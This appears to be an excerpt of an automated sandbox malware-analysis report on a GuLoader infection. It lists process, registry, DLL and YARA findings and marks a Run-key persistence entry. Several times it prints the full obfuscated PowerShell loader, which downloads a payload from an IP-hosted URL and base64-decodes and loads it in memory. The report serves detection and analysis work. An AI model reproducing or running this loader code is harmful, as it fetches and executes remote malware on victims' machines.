Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: apphelp.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: explorerframe.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32 Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe File opened: C:\Windows\SysWOW64\msftedit.dll Jump to behavior
Source: Window Recorder Window detected: More than 3 window changes detected
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\ Jump to behavior
Source: Binary string: \??\C:\Windows\dll\System.Management.Automation.pdbOx source: powershell.exe, 00000004.00000002.2007607126.0000000007B65000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: tem.Core.pdb source: powershell.exe, 00000004.00000002.2011727696.0000000008C4C000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb5 source: powershell.exe, 00000004.00000002.2007607126.0000000007B47000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: System.Core.pdb08055DA94 source: powershell.exe, 00000004.00000002.2011727696.0000000008C40000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb35 source: powershell.exe, 00000004.00000002.2007607126.0000000007B47000.00000004.00000020.00020000.00000000.sdmp
Source: Binary string: wntdll.pdb source: wab.exe, AtBroker.exe
Source: Binary string: CallSite.Targetore.pdb source: powershell.exe, 00000004.00000002.2011727696.0000000008C4C000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation
barindex
VBScript performs obfuscated calls to suspicious functions
Source: C:\Windows\System32\wscript.exe Anti Malware Scan Interface: ShellExecute("PowerShell.exe", ""$Kildematerialet107 = 1;$Kernevaabnet=", "", "", "0");
Yara detected GuLoader
Source: Yara match File source: 00000004.00000002.2012540272.000000000AC33000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2012139926.0000000008E80000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000004.00000002.2003727475.00000000062A7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000001.00000002.2218474708.0000024A90076000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Found suspicious powershell code related to unpacking or dynamic code loading
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Ampholyte204)$global:Episcopised = [System.Text.Encoding]::ASCII.GetString($Stammeringly)$global:Curculios=$Episcopised.substring(325430,26558)<#Overfringsformater Samhandels diskfil
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: GetDelegateForFunctionPointer((Pseudotubercular $Frygiskes $Fr), (Eftertaklings @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))$global:Udrasedes = [AppDomain]::CurrentDomain.GetAssemblies()$glo
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: DefineDynamicAssembly((New-Object System.Reflection.AssemblyName($Lif)), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule($striper, $false).DefineType($Optanterne, $Unforgotten
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Anti Malware Scan Interface: FromBase64String($Ampholyte204)$global:Episcopised = [System.Text.Encoding]::ASCII.GetString($Stammeringly)$global:Curculios=$Episcopised.substring(325430,26558)<#Overfringsformater Samhandels diskfil
Suspicious powershell command line found
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Kildematerialet107 = 1;$Kernevaabnet='Substrin';$Kernevaabnet+='g';Function ciceroner($Bldgringer){$Cholecystogram=$Bldgringer.Length-$Kildematerialet107;For($Brandsituationerne=1; $Brandsituationerne -lt $Cholecystogram; $Brandsituationerne+=(2)){$Categoricalness+=$Bldgringer.$Kernevaabnet.Invoke($Brandsituationerne, $Kildematerialet107);}$Categoricalness;}function Nonsensitizeds($whap){& ($Skimpiness) ($whap);}$Autoindtrks=ciceroner 'PM,o z i l lOaK/,5K. 0 ( W.iAnRd oUw sC NETC ,1S0.. 0M;I W i nu6 4.;W PxS6R4 ;, rRvK: 1 2B1A. 0 )S cG.egcKk oA/ 2E0R1S0 0l1 0Y1T .FTiOr,e,f o.xP/n1s2U1G.,0B ';$Hypsilophodontoid21=ciceroner 'KU.s ePr - A g e,nPt ';$Lydsidernes=ciceroner 'Uh tOtMp,:./ /L8B7 . 1 2 1w..1 0.5R.g1 6U3 /.BFo,lPd,kClUuSbHbSeCn s,. p cKzN ';$jvnhjde=ciceroner ',>, ';$Skimpiness=ciceroner 'AiJeUx, ';$equichangeable='Jynginae';Nonsensitizeds (ciceroner '.S,eRt -BC oMn,tPe nPtM -ZPSa tNh WT :E\SFTeGi ..t xCtU G-,V all,u,eR $AeSq uIipc,hFa nPg eBa b l.e ;M ');Nonsensitizeds (ciceroner ',i.f. E(BtKeKs tE- p a t h TB: \AFAe i..stGxTt ),{ eUxIiMt }W; ');$Nutmegged = ciceroner 'QeBc.hSoU %taOp p dSast aT%,\AcbeJi,l.oamEe.t eIr s,.BPBrAiU H&,&. eDc,hDoB $. ';Nonsensitizeds (ciceroner ' $ gSlRo bTa l.:,C oTnNv eSt h.=K(.c mDdT a/ac $RN uFt.mMe g,gPeFdL)P ');Nonsensitizeds (ciceroner 'F$OgKl o b aAlS:TL itn i e sFk r.i vUeVrAsr=F$NLByDdSs i d,eTrInReSs,.Ns.p lLi t ( $Hj.v n hFjLd,e,). ');$Lydsidernes=$Linieskrivers[0];Nonsensitizeds (ciceroner 'T$Og lEo b aUlr: RAe fSe.r eLn c e.v rTkDe rw=PNCe w - O b j.ePcStU .ShyPsPt eNmD. N e.tG.JWEe bFC.lTi e,n t. ');Nonsensitizeds (ciceroner 'U$UR.eKfAe rDe,nsc e,v r.kIe rG.VH e aPd eDr,sO[R$MHRyVpFs iLlAo.pFhIo dGo,n tDo.iIdu2,1O].=.$UA uFt oUi n,d t r.k sL ');$Superrheumatized=ciceroner 'LR.eHfSeFr e,n cte.vBrVkOeVr .IDKo w nPl oNa d F i l.ec( $.LIy,d.sBiIdBeSrSn.e.sD, $.BAe,tTa g.eBtSh,e.dIsG), ';$Superrheumatized=$Conveth[1]+$Superrheumatized;$Betagetheds=$Conveth[0];Nonsensitizeds (ciceroner ' $AgFl o,bBa.l.:MDTvHnKl d.eEnC=I(UTFe s,tR- PMa.t.h $TBPe tSaMgMe tNhKe d s ) ');while (!$Dvnlden) {Nonsensitizeds (ciceroner '.$PgFlToSb aPlS: OSdTiKnSi aNn = $.t r u.eO ') ;Nonsensitizeds $Superrheumatized;Nonsensitizeds (ciceroner ' SWtBa.r.t -TS l.e e pS E4. ');Nonsensitizeds (ciceroner 'B$ g lEo.bCaWl,:,D vBnBlPdBeIn = (RTUe,s,tR- P.aSt ha B$,Bse t aAg e,tDh e.dDsP) ') ;Nonsensitizeds (ciceroner 'D$ gMlQo b,aCln: B.uVs t iDa n =F$RgSl.o bSaDlB:OO uOtSs m o k.e s +A+ % $,L iEn,iae sHkSriiBv eSrMsE.Kc.obuRn t ') ;$Lydsidernes=$Linieskrivers[$Bustian];}Nonsensitizeds (ciceroner 'G$ g l o bua l,: A mFpPhSo.lOyPt e,2,0m4 D=, SG e,t -,C o.n t eSn tS $ BBe.tdaEgEe t h eMd,s. ');Nonsensitizeds (ciceroner 'E$Fg lCoAbUa,lC:HSGtDa mSmAe,r,i nEgFlSyD F=. W[LS y,sWtKeBmT.TCCosn vSeSrAt.]R:G:CFqr oTm,BKa s eS6K4 SRt,r iVnUgS(,$ A,mBpPhJoAl.yItTe 2 0,4 )H ');Nonsensitizeds (c Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B876F87 push esp; retf 1_2_00007FFD9B876F88
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B871B40 pushad ; iretd 1_2_00007FFD9B871B4D
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B87791D push ebx; retf 1_2_00007FFD9B87796A
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 1_2_00007FFD9B877958 push ebx; retf 1_2_00007FFD9B87796A
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E43F62 push FFFFFF8Bh; iretd 4_2_07E43F6B
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E43F29 push FFFFFF8Bh; iretd 4_2_07E43F32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E445F5 push FFFFFF8Bh; retf 4_2_07E44604
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E43D13 push FFFFFF8Bh; retf 4_2_07E43D1C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E4ACBF push FFFFFF8Bh; iretd 4_2_07E4ACC1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E45CBA push FFFFFF8Bh; iretd 4_2_07E45CC8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E45C7E push FFFFFF8Bh; iretd 4_2_07E45C8C
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E4AB32 push FFFFFF8Bh; iretd 4_2_07E4AB41
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E4AAC6 push FFFFFF8Bh; iretd 4_2_07E4AAD5
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E4B157 push FFFFFF8Bh; iretd 4_2_07E4B159
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 4_2_07E4B0EB push FFFFFF8Bh; iretd 4_2_07E4B0ED
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_045209AD push ecx; mov dword ptr [esp], ecx 11_2_045209B6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D4050 push ebx; ret 11_2_004D4100
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004EC0CF push eax; ret 11_2_004EC0D1
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004C40E6 pushfd ; ret 11_2_004C40E7
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004CA35C push cs; ret 11_2_004CA35F
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D8648 push edi; retf 11_2_004D8670
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DC6EC push ss; iretd 11_2_004DC6EF
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E2786 push edi; ret 11_2_004E279B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004E2790 push edi; ret 11_2_004E279B
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D680C push ecx; iretd 11_2_004D680D
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DAA49 push ds; iretd 11_2_004DAAB8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DAA50 push ds; iretd 11_2_004DAAB8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DAAC3 push ds; iretd 11_2_004DAAB8
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D6CDC push cs; retf 11_2_004D6CF9
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004DCCB5 push edi; ret 11_2_004DCCB6
Source: C:\Windows\SysWOW64\AtBroker.exe Code function: 11_2_004D5D6C push 0000004Ah; retf 11_2_004D5D9E
Source: C:\Windows\SysWOW64\AtBroker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UX0H5LZH3DGH Jump to behavior
Source: C:\Windows\SysWOW64\AtBroker.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run UX0H5LZH3DGH Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
